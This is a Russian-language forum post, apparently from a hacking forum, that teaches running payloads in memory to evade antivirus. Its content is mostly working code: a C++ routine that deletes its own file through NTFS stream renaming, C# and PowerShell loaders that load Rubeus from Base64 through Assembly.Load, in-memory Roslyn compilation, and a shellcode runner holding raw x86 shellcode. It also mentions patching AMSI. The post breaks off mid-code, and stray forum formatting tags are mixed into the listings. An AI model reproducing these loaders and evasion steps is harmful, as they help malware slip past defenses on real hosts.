OSEP Unleashed. Техника выполнения полезной нагрузки в памяти

simplestop

RAID-массив
Пользователь
Регистрация
21.01.2022
Сообщения
97
Реакции
49
image.png
Всем привет, меня зовут spizdil, я эксперт по тестированию на проникновение команды КОМАРИК8 Инновационного центра "Рога и копыта".

Очень часто во время тестирования безопасности приходиться обходить антивирусы. Это может отнимать много времени, что негативно сказывается на результатах проекта. Однако есть пара классных трюков, которые позволят вам на время забыть об антивирусе на обследуемом хосте, и один из них - запуск полезной нагрузки в памяти.



Всем известно, что во время пентестов злоумышленникам тестировщикам с пост оплатой приходится использовать различные инструменты, будь то Cobalt Strike, серверная часть с прокси-сервера или даже дампер процесса lsass.exe. Что общего у всех этих файлов? Дело в том, что все они давно известны антивирусам, и любой из них не оставит без внимания факт наличия вредоносного ПО на диске.



Вы заметили ключевой момент? То, что вредоносное ПО появляется на диске. Возможно, если мы научимся запускать полезную нагрузку в памяти, то сможем пройти под радаром антивирусов? Давайте рассмотрим техники, позволяющие выполнять полезную нагрузку полностью в памяти, и посмотрим, насколько легче станет непростая жизнь пентестеров, если они научатся взламывать систему без заброса файлов на диск.


Не настраивайтесь на оверсложное чтиво, я постараюсь рассказать обо всем просто и понятно

Основы выполенния полезной нагрузки в памяти

Выполнение в памяти - совершенно нормальное явление. Я бы даже сказал, что только так все и делается. По сути, диск - это просто плацдарм, склад, из которого извлекаются нужные программы, а затем загрузчик помещает их в память и вызывает точку входа программы. Ничто не мешает нам действительно поместить байты данных в память и затем заставить систему их выполнить.
Итак, я предлагаю убедиться, что диск как таковой нам и не нужен - все успешно работает и без него, полностью в памяти. Допустим, у нас есть файл example.exe, который сначала находится на диске, а потом его не станет: он исчезнет и останется только в оперативной памяти. Такая техника называется камикадзе самоудалением. Казалось бы, можно запустить пейлоад и в нем вызвать функцию DeleteFIle(), но ничего подобного. При попытке самостоятельного удаления мы получим ошибку 0x5 ERROR_ACCESS_DENIED.
Вы, конечно, можете сделать и так, но это выглядит не очень профессионально, не так ли?

ping 1.1.1.1 -n 22 > Nul & \ <PATH To executable>


Однако мы можем воспользоваться возможностями файловой системы NTFS, используемой в Windows. В ней есть так называемые потоки данных, основным из которых можно считать поток $DATA. Если этот поток пропадает, файл исчезает, его невозможно считать.
К сожалению, поток нельзя удалить, но его можно переименовать, что также сделает невозможным чтение содержимого файла и, соответственно, его повторное чтение и выполнение. Не будем вдаваться в технические подробности. Подмечу лишь, что переименование потока данных будет производиться с помощью функции SetFileInformationByHandle(), в которой в качестве FileInformationClass передается значение FileRenameInfo, а затем FileDispositionInfo.
C++:
#include <Windows.h>
#include <iostream>
#define NEW_STREAM L":HBRABABRA"[/SIZE]
 
[SIZE=5]BOOL DeleteSelf() {[/SIZE]
 
[SIZE=5]WCHAR szPath[MAX_PATH * 2] = { 0 };
FILE_DISPOSITION_INFO Delete = { 0 };
             HANDLE                   hFile = INVALID_HANDLE_VALUE;
PFILE_RENAME_INFO pRename = NULL;
const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
SIZE_T sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);[/SIZE]
 
[SIZE=5]             pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
if (!pRename) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
             }[/SIZE]
 
 
[SIZE=5]ZeroMemory(szPath, sizeof(szPath));
ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));[/SIZE]
 
[SIZE=5]Delete.DeleteFile = TRUE;
pRename->FileNameLength = sizeof(NewStream);
RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));[/SIZE]
 
[SIZE=5]if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError());
return FALSE;
             }[/SIZE]
 
[SIZE=5]hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError());
return FALSE;
             }[/SIZE]
 
[SIZE=5]wprintf(L"[i] Renaming :$DATA to %s  ...", NEW_STREAM);[/SIZE]
 
[SIZE=5]if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError());
return FALSE;
             }
wprintf(L"[+] DONE \n");[/SIZE]
 
[SIZE=5]             CloseHandle(hFile);[/SIZE]
 
[SIZE=5]hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [D] Failed With Error : %d \n", GetLastError());
return FALSE;
             }[/SIZE]
 
[SIZE=5]wprintf(L"[i] DELETING ...");[/SIZE]
 
[SIZE=5]if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError());
return FALSE;
             }
wprintf(L"[+] DONE \n");[/SIZE]
 
[SIZE=5]             CloseHandle(hFile);[/SIZE]
 
[SIZE=5]HeapFree(GetProcessHeap(), 0, pRename);[/SIZE]
 
[SIZE=5]return TRUE;
}[/SIZE]
 
[SIZE=5]int main() {
             DeleteSelf();
             getchar();
return 0;
}

Как мы видим, процесс успешно создан и продолжает выполняться, даже когда система больше не может cчитать файл с диска. Это доказывает тот факт, что файл считывается загрузчиком, помещается в память и затем выполняется.

Используем встроенный функционал для выполенния в памяти

C# и System.Reflection.Assembly


Некоторые языки имеют встроенный функционал для выполнения кода в памяти. Например, в C# есть System.Reflection namespace, а в нем - класс Assembly с методом Load(), который можно использовать для размещения и последующего выполнения сборки C# в памяти. Прототип выглядит следующим образом:
public static System.Reflection.Assembly Load (byte[] rawAssembly);
Функция принимает единственный аргумент - rawAssembly. Он представляет собой байтовый массив сборки, которую необходимо поместить в память. Предлагаю рассмотреть экзешник Rubeus.exe - инструмент отлично подходит для демонстрации, так как написан на C#.
Для чтения байтов мы воспользуемся File.ReadAllBytes, после чего передадим байты в функцию, описанную выше, и вызовем ее точку входа.
C#:
using System;
using System.IO;
using System.Reflection;
namespace AssemblyLoader
{
class Program[/SIZE]
 [SIZE=5]{
static void Main(string[] args)
     {
Byte[] bytes = File.ReadAllBytes(@"C:\Users\Michael\Downloads\Rubeus.exe");
ExecuteAssembly(bytes, new string[] { "user" });[/SIZE]
 
[SIZE=5]Console.Write("Press any key to exit");
string input = Console.ReadLine();
     }[/SIZE]
 
[SIZE=5]public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
     {
         Assembly assembly = Assembly.Load(assemblyBytes);[/SIZE]
 
[SIZE=5]         MethodInfo method = assembly.EntryPoint;
                                           
object[] parameters = new[] { param };[/SIZE]
 
[SIZE=5]object execute = method.Invoke(null, parameters);
     }[/SIZE]
 [SIZE=5]}
}


image.png




Таким образом, мы можем прочитать все байты полезной нагрузки на тачке, а затем вызвать метод Assembly.Load(), в результате чего мы сможем запустить полезную нагрузку в памяти! Давайте начнем с чтения байтов. Использовать File.ReadAllBytes() каждый раз, мягко говоря, утомительно, поэтому байты можно читать с помощью Powershell:
Код:
$FilePath = "C:\Users\Michael\Downloads\Rubeus.exe""
$File = [System.IO.File]::ReadAllBytes($FilePath);

Переменная $File будет содержать слишком большой массив байтов, с которым не очень удобно работать:


image.png




Поэтому я предлагаю закодировать этот массив в Base64, а затем декодировать строку на тачке, чтобы получить нужный поток байтов.
Код:
$Base64String = [System.Convert]::ToBase64String($File);
echo $Base64String;



image.png




Теперь нам остается только модифицировать наш загрузчик, добавив в него полученную строку Base64 и функцию ее декодирования:
C#:
using System;
using System.IO;
using System.Reflection;[/SIZE]
 
 
[SIZE=5]namespace AssemblyLoader
{
class Program[/SIZE]
 [SIZE=5]{
static void Main(string[] args)
     {
string assemblyBase64 = "<b64 value>";
         Byte[] bytes = Convert.FromBase64String(assemblyBase64);
ExecuteAssembly(bytes, new string[] { "user" });[/SIZE]
 
[SIZE=5]Console.Write("Press any key to exit");
string input = Console.ReadLine();
     }[/SIZE]
 
[SIZE=5]public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
     {
         Assembly assembly = Assembly.Load(assemblyBytes);[/SIZE]
 
[SIZE=5]         MethodInfo method = assembly.EntryPoint;[/SIZE]
 
[SIZE=5]object[] parameters = new[] { param };[/SIZE]
 
[SIZE=5]object execute = method.Invoke(null, parameters);
     }[/SIZE]
 [SIZE=5]}
}



image.png




И нам не придется каждый раз генерировать новую сборку, потому что у нас есть возможность вызывать методы dotnet из Powershell. В частности, мы можем обратиться к нужному нам System.Reflection, а из него вызвать метод Assembly.Load(), который позволит нам загрузить сборку и точно так же обратиться к ней.
Синтаксис прост:
C#:
$blob = "base64 value of rubeus.exe"
$load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));

После этого нужно просто выбрать нужный метод для вызова, используя следующий синтаксис:
C#:
[/SIZE][/INDENT][/SIZE][/INDENT]
[INDENT=5][SIZE=5][SIZE=5][<namespace>.<class>]::<method>()[/SIZE][/INDENT]
[INDENT=5][SIZE=5]# Ex[/SIZE][/INDENT]
[INDENT=5][SIZE=5][Rubeus.Program]::Main()[/SIZE][/SIZE][/INDENT]
[INDENT=5][SIZE=5][INDENT=5][SIZE=5]
В случае запуска через Powershell все байты сборки, переданные методу Assembly.Load(), окажутся в AMSI перед загрузкой, поэтому нам нужно пропатчить AMSI, чтобы он не срабатывал на нашу загруженную полезную нагрузку.
И не каждая сборка сможет успешно загрузиться таким образом. Мы должны убедиться, что в проекте используется .NET Framework, а не .NET Core, поскольку Core не будет загружаться в память. Эту статью можно использовать в качестве руководства при переходе проекта с .NET Core на .NET Framework. Вы также можете выбрать нужный фреймворк непосредственно при создании проекта в Visual Studio.
При изучении этого способа загрузки сборок выяснилось, что иногда Powershell не может обнаружить сборку в памяти, поэтому приходится извлекать и вызывать нужный метод самостоятельно:

C#:
[/SIZE][/INDENT][/SIZE][/INDENT]
[INDENT=5][SIZE=5][SIZE=5]$data = 'Assembly Bytes'[/SIZE][/INDENT]
[INDENT=5][SIZE=5]$assem = [System.Reflection.Assembly]::Load($data);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]$class = $assem.GetType('Rubeus.Program');[/SIZE][/INDENT]
[INDENT=5][SIZE=5]$method = $class.GetMethod('Main');[/SIZE][/INDENT]
[INDENT=5][SIZE=5]$method.Invoke(0, $null)[/SIZE][/SIZE][/INDENT]
[INDENT=5][SIZE=5][INDENT=5][SIZE=5]

C# и MemoryStream()

В C# есть еще один интересный механизм, позволяющий компилировать сборки буквально на лету из предоставленного исходного кода. Причем, как я выяснил позже, эта функциональность появилась относительно недавно, только в 2021 году.
Итак, прежде всего необходимо подготовить исходный код с помощью CSharpSyntaxTree.ParseText(). Затем его следует сохранить как экземпляр класса SyntaxTree.

C#:
[/SIZE][/INDENT][/SIZE][/INDENT]
[INDENT=5][SIZE=5][SIZE=5]SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         namespace ns{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]             using System;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]             public class App{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                    public static void Main(string[] args){[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                        Console.Write(""dada"");[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                 }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]             }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         }");[/SIZE][/SIZE][/INDENT]
[INDENT=5][SIZE=5][INDENT=5][SIZE=5]
Далее нам нужно добавить параметры компиляции (мы указали, что это будет консольное приложение):

C#:
[/SIZE][/INDENT][/SIZE][/INDENT]
[INDENT=5][SIZE=5][SIZE=5]var options = new CSharpCompilationOptions([/SIZE][/INDENT]
[INDENT=5][SIZE=5]           OutputKind.ConsoleApplication,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]           optimizationLevel: OptimizationLevel.Debug,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]allowUnsafe: true);[/SIZE][/SIZE][/INDENT]
[INDENT=5][SIZE=5][INDENT=5][SIZE=5]
Теперь подготовим сборку, которая будет выполняться в памяти. Сначала создадим переменную, которая будет представлять сборку, для этого используем функцию CSharpCompilation.Create(). Первый параметр - это имя сборки, а последний - необходимые параметры компилятора. В нашем случае генерируется случайное имя.
C#:
var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);
Теперь у нас есть объект сборки, добавим к нему исходный код, вызвав метод AddSyntaxTrees():
C#:
compilation = compilation.AddSyntaxTrees(syntaxTree);
Внутри нашей сборки есть зависимости от других сборок. Например, для того же вывода на консоль требуется метод System.Console.Write(), а откуда его возьмет компилятор? Поэтому теперь в сборку необходимо добавить зависимости от других сборок. Чаще всего они представлены в виде .dll-файлов, а стандартные сборки находятся в том же каталоге, извлечь которые можно следующим образом:
C#:
var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);
Обращаю внимание, что у проекта может быть много зависимостей, поэтому нам нужно будет сложить их список:

C#:
[/SIZE][/INDENT][/SIZE][/INDENT]
[INDENT=5][SIZE=5][SIZE=5]List<MetadataReference> references = new List<MetadataReference>();[/SIZE][/INDENT]
[INDENT=5][SIZE=5]references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));[/SIZE][/INDENT]
[INDENT=5][SIZE=5]references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));[/SIZE][/INDENT]
[INDENT=5][SIZE=5]references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));[/SIZE][/SIZE][/INDENT]
[INDENT=5][SIZE=5][INDENT=5][SIZE=5]
Кроме того, мы можем спарсить созданное ранее синтаксическое дерево (Помните? Оно содержит исходный код сборки). Для этого мы используем следующий код:

C#:
[/SIZE][/INDENT][/SIZE][/INDENT]
[INDENT=5][SIZE=5][SIZE=5]var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();[/SIZE][/INDENT]
[INDENT=5][SIZE=5]  // add .dll extension[/SIZE][/INDENT]
[INDENT=5][SIZE=5]foreach (var u in usings)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));[/SIZE][/INDENT]
[INDENT=5][SIZE=5]  }[/SIZE][/SIZE][/INDENT]
[INDENT=5][SIZE=5][INDENT=5][SIZE=5]
  • compilation.SyntaxTrees - получить все ветки синтаксиса из объекта сборки;
  • Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()) - для каждой ветки в списке выполняется действие, указанное в скобках после Select. tree.GetRoot() возвращает корневой узел каждой ветки. DescendantNodes() извлекает все узлы веток, производные от корневого узла. OfType<UsingDirectiveSyntax>() фильтрует узлы, оставляя только те, которые представляют используемые директивы;
  • SelectMany(s => s) - поскольку каждая ветка может содержать множество используемых директив, вызов SelectMany необходим для преобразования списка списков в один общий список;
  • ToArray() — преобразует полученный список в массив для дальнейшего использования. После этого пробежится по полученным сборкам и добавит расширение .dll.
Остается только добавить полученные зависимости в объект сборки и скомпилировать. Добавление осуществляется с помощью метода compilation.AddReferences().
C#:
compilation = compilation.AddReferences(references);
Наконец, вся магия выполнения в памяти заключается в использовании экземпляра класса MemoryStream, который позволяет манипулировать данными в памяти. Мы передаем этот экземпляр в метод compilation.Emit() (используемый для компиляции сборки), что приводит к размещению скомпилированной сборки в памяти.

C#:
[/SIZE][/INDENT][/SIZE][/INDENT]
[INDENT=5][SIZE=5][SIZE=5]using (var ms = new MemoryStream())[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         EmitResult result = compilation.Emit(ms);[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]if (!result.Success)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                    diagnostic.IsWarningAsError ||[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                    diagnostic.Severity == DiagnosticSeverity.Error);[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]foreach (Diagnostic diagnostic in failures)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]             {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]             }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]else[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]ms.Seek(0, SeekOrigin.Begin);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                AssemblyLoadContext context = AssemblyLoadContext.Default;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                Assembly assembly = context.LoadFromStream(ms);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]         }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     }[/SIZE][/SIZE][/INDENT]
[INDENT=5][SIZE=5][INDENT=5][SIZE=5]
Затем несложно извлечь сборку из памяти и вызвать из нее метод.
Полный код проекта приведен ниже.

C#:
[/SIZE][/INDENT][/SIZE][/INDENT]
[INDENT=5][SIZE=5][SIZE=5]using System;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]using System.CodeDom.Compiler;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]using System.IO;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]using System.Reflection;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]using System.Runtime.Loader;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]using Microsoft.CodeAnalysis;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]using Microsoft.CodeAnalysis.CSharp;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]using Microsoft.CodeAnalysis.CSharp.Syntax;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]using Microsoft.CodeAnalysis.Emit;[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]class Program[/SIZE][/INDENT]
[INDENT=5][SIZE=5]{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]static void Main()[/SIZE][/INDENT]
[INDENT=5][SIZE=5]{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]// source code of the assembly[/SIZE][/INDENT]
[INDENT=5][SIZE=5]SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         namespace ns{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]             using System;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]             public class App{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                    public static void Main(string[] args){[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                        Console.Write(""dada"");[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                 }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]             }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         }");[/SIZE][/INDENT]
[INDENT=5][SIZE=5]// creating compilation options[/SIZE][/INDENT]
[INDENT=5][SIZE=5]var options = new CSharpCompilationOptions([/SIZE][/INDENT]
[INDENT=5][SIZE=5]           OutputKind.ConsoleApplication,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]           optimizationLevel: OptimizationLevel.Debug,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]allowUnsafe: true);[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]// creating an assembly object[/SIZE][/INDENT]
[INDENT=5][SIZE=5]var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]// adding source code to assembly[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     compilation = compilation.AddSyntaxTrees(syntaxTree);[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]// obtaining a local path with assemblies[/SIZE][/INDENT]
[INDENT=5][SIZE=5]var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]List<MetadataReference> references = new List<MetadataReference>();[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                           [/SIZE][/INDENT]
[INDENT=5][SIZE=5]// adding required assemblies from disk[/SIZE][/INDENT]
[INDENT=5][SIZE=5]references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));[/SIZE][/INDENT]
[INDENT=5][SIZE=5]references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));[/SIZE][/INDENT]
[INDENT=5][SIZE=5]references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                           [/SIZE][/INDENT]
[INDENT=5][SIZE=5]// adding assemblies from syntax tree[/SIZE][/INDENT]
[INDENT=5][SIZE=5]var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray();[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]// adding .dll extension[/SIZE][/INDENT]
[INDENT=5][SIZE=5]foreach (var u in usings)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     }[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]// adding dependencies[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     compilation = compilation.AddReferences(references);[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]// compiling[/SIZE][/INDENT]
[INDENT=5][SIZE=5]using (var ms = new MemoryStream())[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         EmitResult result = compilation.Emit(ms);[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]if (!result.Success)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic =>[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                    diagnostic.IsWarningAsError ||[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                    diagnostic.Severity == DiagnosticSeverity.Error);[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]foreach (Diagnostic diagnostic in failures)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]             {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]             }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]else[/SIZE][/INDENT]
[INDENT=5][SIZE=5]         {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]ms.Seek(0, SeekOrigin.Begin);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                AssemblyLoadContext context = AssemblyLoadContext.Default;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]                Assembly assembly = context.LoadFromStream(ms);[/SIZE][/INDENT]
[INDENT=5][SIZE=5]assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]         }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     }[/SIZE][/INDENT]
[INDENT=5][SIZE=5]}[/SIZE][/INDENT]
[INDENT=5][SIZE=5]}[/SIZE][/SIZE][/INDENT]
[INDENT=5][SIZE=5][INDENT=5][SIZE=5]
Таким образом, мы можем запускать в памяти практически любой код, который только захотим. Единственная проблема заключается в том, что исходники будут находиться в программе в явном виде, что, конечно, не очень хорошо. Но здесь можно использовать некоторые криптографические или кодирующие функции, чтобы скрыть исходный код.
Обратите внимание, что для выполнения кода необходимо добавить пакет Microsoft.CodeAnalysis.CSharp.



image.png



C# , memory and native code


Мы научились, как выполнять сборки dotnet, но что делать, если программа написана на C++? В этом случае она выполняется вне платформы CLR и будет считаться нативным кодом. Как следствие, вы не сможете выполнить ее в памяти с помощью описанных выше методов.
Что же делать, спросите вы? Я отвечу: Разбивать монитор еще рано, потому что существуют шеллкоды. Что если мы сгенерируем шеллкод из программы на C++, затем вставим этот шеллкод в проект на C#, где реализуем логику для внедрения этого шеллкода в адресное пространство текущего процесса? В этом случае на выходе мы получим полноценную сборку, которая загружается с помощью System.Reflection.Assembly.Load() и исполняет наш шеллкод. Получается такая матрешка из четырех матрешек: вызов Assembly.Load() - первая матрешка, загруженная сборка - вторая, шеллкод в сборке - третья, и, наконец, шеллкод - наша программа на C++ - четвертая.
Итак, сначала я предлагаю подготовить программу, которая будет выполнять наш шеллкод. Здесь мы будем использовать стандартный shellcode-runner с GetDelegateForFunctionPointer():

C#:
[/SIZE][/INDENT][/SIZE][/INDENT]
[INDENT=5][SIZE=5][SIZE=5]using System;[/SIZE][/INDENT]
[INDENT=5][SIZE=5]using System.Runtime.InteropServices;[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]namespace ShellcodeLoader[/SIZE][/INDENT]
[INDENT=5][SIZE=5]{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]public class Program[/SIZE][/INDENT]
[INDENT=5][SIZE=5]{[/SIZE][/INDENT]
[INDENT=5][SIZE=5]public static void Main(string[] args)[/SIZE][/INDENT]
[INDENT=5][SIZE=5]     {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]byte[] x86shc = new byte[193] {[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,[/SIZE][/INDENT]
[INDENT=5][SIZE=5]0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };[/SIZE][/INDENT]
[INDENT=5][/INDENT]
[INDENT=5][SIZE=5]         IntPtr funcAddr = VirtualAlloc([/SIZE][/INDENT]
[INDENT=5][SIZE=5]                              IntPtr.Zero,[/SIZE][/INDENT]
